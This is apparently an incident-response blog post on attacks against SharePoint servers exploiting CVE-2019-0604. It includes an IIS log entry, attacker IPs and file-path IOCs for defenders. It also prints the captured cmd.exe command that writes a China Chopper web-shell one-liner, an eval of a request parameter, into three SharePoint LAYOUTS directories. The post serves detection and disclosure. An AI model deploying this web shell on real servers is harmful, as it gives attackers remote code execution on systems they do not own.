CVE-2019-0604 Attack
Over the past week, I started seeing attacks on Sharepoint servers using vulnerability CVE-2019-0604. The Zero Day Initiative has a great write up(1) on the exploit of the vulnerability.
Initial detection of the exploit came from endpoint exploit detection. When reviewing the IIS logs, we saw a post to the Picker.aspx. This appears to be the most common entry point for this attack exploiting CVE-2019-0604.
Initial Log
2019-05-02 07:04:13 192.168.1.1 POST /_layouts/15/Picker.aspx - 443 - 121.147.96.8 python-requests/2.18.4 200 0 0 670
In the case of this attacker, they dropper a China Chopper payload on the server. China Chopper has been around for a long time. Crowdstrike did a great writeup(2) in 2015. The payload for this is just a one-liner that was echoed into the files via command line.
The anomaly that endpoint detected was a cmd shell spawning by w3wp.exe process.
Parent Process: w3wp.exe
Process Name: cmd.exe
"C:\Windows\System32\cmd.exe" /c echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["t"],"unsafe");%^> > "%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\14\TEMPLATE\LAYOUTS\t.aspx" & echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["t"],"unsafe");%^> >
"%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\t.aspx" & echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["t"],"unsafe");%^> >
"%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\t.aspx"
While the attack appears to be an automated drive-by, the attackers did not come back and do any additional modifications to the server.
IOC's
Attackers IPS:
121[.]147[.]96[.]8
211[.]222[.]223[.]14
119[.]65[.]36[.]2
User agent string:python-requests/2.18.4
Chopper Files created:
"%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\t.aspx"
"%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\t.aspx”
"%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\14\TEMPLATE\LAYOUTS\t.aspx”
(1)https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability
(2)https://www.crowdstrike.com/blog/chopping-packets-decoding-china-chopper-web-shell-traffic-over-ssl/
Thanks to my team for the analysis.
--
Tom Webb
@twsecblog
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